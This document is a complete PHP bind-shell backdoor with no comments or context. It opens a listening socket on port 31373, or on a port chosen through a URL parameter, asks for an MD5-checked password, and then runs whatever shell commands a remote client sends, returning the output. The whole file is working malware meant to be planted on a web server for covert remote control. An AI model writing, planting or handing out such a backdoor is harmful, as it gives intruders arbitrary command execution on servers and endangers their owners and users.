error_reporting(5);
if (!extension_loaded('sockets'))
{
if (strtoupper(substr(PHP_OS, 0, 3) == 'WIN')) {dl('php_sockets.dll');}
else {dl('sockets.so');}
}
if (!extension_loaded('sockets')) {exit("Sockets extension needed!");}
set_time_limit(0);
ob_implicit_flush(1);
$address = getenv("SERVER_ADDR");
$pass = "changeme";
if (!empty($_GET["pass"])) {$pass = $_GET["pass"];}
elseif (!empty($ARGV[1])) {$pass = $ARGV[1];}
$port = 31373;
if (!empty($_GET["port"])) {$port = $_GET["port"];}
elseif (!empty($ARGV[2])) {$port = $ARGV[2];}
$unbrute = 5;
$startdir = realpath("./");
$pass = md5($pass);
$user = convert_cyr_string(get_current_user(),"w","d");
if (getmyuid () == '0') {$prefix = "[".$user."@$address ".$user."]# ";}
else {$prefix = "[".$user."@$address ".$user."]$ ";}
$sockets_cwd = array();
function handle_client($allclient, $socket, $buf, $bytes)
{
global $prefix;
global $sockets_cwd;
global $startdir;
$buf = explode(";",$buf);
if ($sockets_cwd["$socket"]) {chdir($sockets_cwd["$socket"]);}
else {chdir($startdir);}
foreach ($buf as $cmd)
{
$cmd = trim($cmd);
if ($cmd == "quit") {break;}
elseif ($cmd == "break") {break 2;}
elseif (substr($cmd,0,2) == "cd")
{
chdir(substr($cmd,3));
$sockets_cwd["$socket"] = getcwd();
}
else
{
$handle = @popen($cmd,'r');
while (!feof($handle) and $handle) {socket_write($socket,fread($handle,1024));}
@pclose($handle);
}
}
socket_write($socket,$prefix." ");
chdir($startdir);
}
if (($master = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {echo "socket_create() failed: reason: " . socket_strerror($master) . "\n";}
socket_set_option($master, SOL_SOCKET,SO_REUSEADDR, 1);
if (($ret = socket_bind($master, $address, $port)) < 0) {echo "socket_bind() failed: reason: " . socket_strerror($ret) . "\n";}
if (($ret = socket_listen($master, 5)) < 0) {echo "socket_listen() failed: reason: " . socket_strerror($ret) . "\n";}
$read_sockets = array($master);
while (true)
{
$changed_sockets = $read_sockets;
$num_changed_sockets = socket_select($changed_sockets, $write = NULL, $except = NULL, NULL);
foreach($changed_sockets as $socket)
{
if ($socket == $master)
{
if (($client = socket_accept($master)) < 0) {echo "socket_accept() failed: reason: " . socket_strerror($msgsock) . "\n"; continue;}
else
{
array_push($read_sockets, $client);
socket_write($client,"
Welcome! Shell running on ".$address.":".$port." and system".php_uname()."
To quit terminal: quit
To shut down the server: halt
");
$i = 0;
while ($pass != md5(trim($buffer)))
{
socket_write($client,"Password: ");
$bytes = socket_recv($client, $buffer, 2048, 0);
$buffer = trim($buffer);
$i++;
if ($i > $unbrute)
{
socket_write($client,"Good luck!\n\n");
$index = array_search($client, $read_sockets);
unset($read_sockets[$index]);
socket_close($client);
}
}
if (is_resource ($client)) {@socket_write($client,"Access granted.\n\n");}
}
}
else
{
$bytes = socket_recv($socket, $buffer, 2048, 0);
if ($bytes == 0)
{
$index = array_search($socket, $read_sockets);
unset($read_sockets[$index]);
socket_close($socket);
}
else
{
$allclients = $read_sockets;
array_shift($allclients); // remove master
handle_client($allclients, $socket, $buffer, $bytes);
}
}
}
}
